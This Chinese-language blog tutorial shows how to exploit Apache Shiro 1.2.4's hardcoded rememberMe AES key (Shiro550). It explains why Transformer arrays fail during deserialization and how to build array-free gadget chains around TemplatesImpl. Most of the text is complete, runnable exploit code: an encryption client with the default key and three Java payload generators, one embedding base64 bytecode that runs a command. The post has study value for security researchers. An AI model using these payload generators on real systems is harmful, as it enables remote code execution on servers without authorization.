文章目录
【java安全】TemplatesImpl在Shiro550反序列化
Shiro的原理
为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化 并加密 后保存在Cookie的rememberMe
字段中,下次读取时进行解密
再反序列化
.
Shiro反序列化产生
在Shiro
1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以通过这个key来伪造Cookie,进而触发反序列化漏洞
演示
此处使用phith0n
的一个基于Shiro1.2.4
的简单登录应用,
整个项目只有两个代码文件,index.jsp和login.jsp
依赖:
-
shiro-core、shiro-web,这是shiro本身的依赖
-
javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这 两个依赖
-
slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
-
commons-logging,这是shiro中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误
-
commons-collections,为了演示反序列化漏洞,增加了commons-collections依赖
我们启动一下这个项目:
有一个登录框:
账号:root
密码:secret
当我们登录时勾选:Remember me
时,登录成功后,服务端成功登录后会返回rememberMe
的cookie
攻击过程
根据上面的登录演示,我们知道了,如果我们在登录时将cookie中rememberMe
的值改为经过key
加密的payload
的值,就可以执行恶意反序列化了
payload使用key加密
这里使用了phithon的脚本:
java
package com.govuln.shiroattack;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client0 {
public static void main(String []args) throws Exception {
byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
AesCipherService aes = new AesCipherService();
byte[] key =
java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
使用shiro内置类org.apache.shiro.crypto.AesCipherService
加密,最后生成base64字符串
这里的payload我们使用CommonsCollections6
进行生成:
java
package com.govuln.shiroattack;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
public byte[] getPayload(String command) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { command }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
我们将生成加密的base64字符串放入rememberMe
中传入,看起来很完美,会弹计算器对吧,结果它报错了:
最后一行报错是org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass
resolveClass()
是一个方法是反序列化中寻找类的方法。简单的说,读取序列化流时,如果读取到字符串形式的类名,需要通过这个方法来找到对应的Class对象
我们来查看一下org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass
java
public class ClassResolvingObjectInputStream extends ObjectInputStream {
public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException var3) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3);
}
}
}
这个类继承了ObjectInputStream
,重写了resolveClass()
方法
我们再看一下其父类ObjectInputStream#resolveClass()
方法
java
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}
这两个的区别,前者调用org.apache.shiro.util.ClassUtils#forName()
方法
后者使用了原生的Class.forname()
方法
为了搞清为什么报错,我们在抛异常的这里打一个断点
发现出异常时加载的类名为[Lorg.apache.commons.collections.Transformer
这个类名看起来怪,其实这是org.apache.commons.collections.Transformer
的数组
由于cc6链中使用的是ClassLoader.loadClass()
所以有人说loadClass()
不支持加载数组
但是结论是:
如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误
这里用到的Transformer
数组是CommonsCollections
库中的,所以加载不了
构造不含数组的GadGets
之前我们使用了TemplatesImpl
执行java字节码
java
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"}); setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
我们只需调用TemplatesImpl#newTransformer()
方法即可执行字节码
但是newTransformer()
方法我们可以使用InvokerTransformer#transform()
方法来调用,于是可以写成这样:
java
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
ConstantTransformer#transform()
的作用就是将obj
给返回
这里还是用到了数组,怎么办?我们可以结合cc6中的相关操作
因为使用到了LazyMap
这个类的get()
方法就可以触发链子
java
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}
观察一下这个get()
方法参数Object key
由于我们LazyMap
是这么构造的:
java
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
所以factory
就是transformerChain
,如果我们能控制这个key
的话,就可以触发ChainedTransform#transform()
方法,进而调用InvokerTransformer#transform()
方法
调用TemplatesImpl#newTransformer()
方法将key
传给InvokerTransformer#transform()
方法,如果这个key
刚好是TemplatesImpl
对象的话,就可以触发方法。这样我们发现,ConstantTransformer
可以从Transformer
数组中给去掉了
我们怎么控制key
?
在cc6中使用了TiedMapEntry
:
java
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getValue() {
return this.map.get(this.key);
}
getValue()
会调用map
的get方法,如果map
是LazyMap
而key
是TemplatesImpl
对象就刚好能满足条件了
此时Transformer
数组只有InvokerTransformer
这个类对象了,所以也就不需要数组了
java
Transformer transformer = new InvokerTransformer("getClass", null, null);
//此处传入getClass()方法是为了不被后面的HashMap添加元素导致的链式反应影响
简单调用链
java
TiedMapEntry#hashCode()
TiedMapEntry#getValue()
LazyMap#get()
ChainedTransformer#transform()
InvokerTransformer#transform(templates)
TemplatesImpl#newTransform()
改造cc6为CommonsCollctionsShiro
首先创建TemplatesImpl
对象
java
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
然后我们创建一个用来调用newTransformer
方法的InvokerTransformer
,但注意的是,此时先传入一 个人畜无害的方法,比如getClass,避免恶意方法在构造Gadget的时候触发:
java
Transformer transformer = new InvokerTransformer("getClass", null, null);
然后我们改一改CommonsCollections6
,将TiedMapEntry
构造函数第二个值传入TemplatesImpl
对象
java
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);//obj
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
//将参数名改回newTransformer
完整POC
java
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
触发Shiro550漏洞
将POC生成的字节数组加密后传参给Cookie的rememberMe
:
弹出计算器
进阶POC
当InvocationTransformer
类被禁用之后,没法调用newTransformer
方法了
java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String s = "yv66vgAAADQAMwoABwAlCgAmACcIACgKACYAKQcAKgcAKwcALAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAKTEV4ZWNUZXN0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAA1TdGFja01hcFRhYmxlBwArBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA1FeGVjVGVzdC5qYXZhDAAaABsHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAhFeGVjVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAAEAAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAMAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAARAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAFgAXAAIAAAABABgAGQADABMAAAAEAAEAFAABABoAGwABAAoAAABqAAIAAgAAABIqtwABuAACEgO2AARXpwAETLEAAQAEAA0AEAAFAAMACwAAABYABQAAABIABAAUAA0AFwAQABUAEQAYAAwAAAAMAAEAAAASAA0ADgAAABwAAAAQAAL/ABAAAQcAHQABBwAeAAAJAB8AIAABAAoAAAArAAAAAQAAAAGxAAAAAgALAAAABgABAAAAHAAMAAAADAABAAAAAQAhACIAAAABACMAAAACACQ=";
byte[] bytes= Base64.getDecoder().decode(s);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer fakeTransformer = new ConstantTransformer("leekos");
Transformer transformer = InstantiateTransformer.getInstance(new Class[]{Templates.class}, new Object[]{obj});
Map lazyMap = LazyMap.decorate(new HashMap(),fakeTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,TrAXFilter.class);
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"leekos");
//消除影响
lazyMap.clear();
setFieldValue(lazyMap,"factory",transformer);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
我们编写一个可以在jdk1.7、1.8
使用的POC
总结
其实Shiro550反序列化的不同点就是Transformer
不能为数组,但是我们经过链子的巧妙传参发现可以去除掉ConstantTransformer
,这样原本两个元素的Transformer
数组变成一个元素,就不需要使用数组了
文末我编写了一个结合CommonsCollections3
的POC,可以在jdk1.7、1.8
的某些版之前使用(貌似是8u71),没有使用InvokerTransformer
,而是改用了InstantiateTransformer